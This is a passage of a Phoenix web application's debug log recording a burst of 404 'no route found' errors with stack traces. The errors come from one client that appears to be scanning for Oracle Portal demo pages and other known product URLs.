    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:48.077000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39018] GET /IDMProv/jsps/help/Help.jsp
[Thu Sep  3 08:04:48.107000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39018] ** (Phoenix.Router.NoRouteError) no route found for GET /IDMProv/jsps/help/Help.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:48.723000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39006] GET /portal/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:48.739000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39006] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:49.591000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39028] GET /portal/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:49.610000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39028] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV4_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:50.475000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39042] GET /portal/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:50.491000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39042] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV5_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:51.117000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39052] GET /portal/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:51.140000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39052] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV6_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:51.765000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39066] GET /portal/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:51.785000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39066] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV7_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:52.574000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39070] GET /portal/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:52.601000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39070] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV8_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:53.292000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37196] GET /portal/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:53.321000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37196] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/pls/portal/DEV9_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:54.003000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37204] GET /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:54.021000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37204] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:54.661000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37220] GET /pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:54.715000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37220] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:55.367000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37230] GET /pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:55.392000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37230] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV1_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:55.493000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37240] GET /gwadmin-console/login.jsp
[Thu Sep  3 08:04:55.517000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37240] ** (Phoenix.Router.NoRouteError) no route found for GET /gwadmin-console/login.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:56.515000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37254] GET /pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:56.552000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37254] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV2_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:56.882000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37270] GET /netbasic/websinfo.bas
[Thu Sep  3 08:04:56.906000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37270] ** (Phoenix.Router.NoRouteError) no route found for GET /netbasic/websinfo.bas (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:04:57.193000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:37284] GET /pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW
[Thu Sep  3 08:04:57.210000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:37284] ** (Phoenix.Router.NoRouteError) no route found for GET /pls/portal/DEV3_PORTAL_DEMO.ORG_CHART.SHOW (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
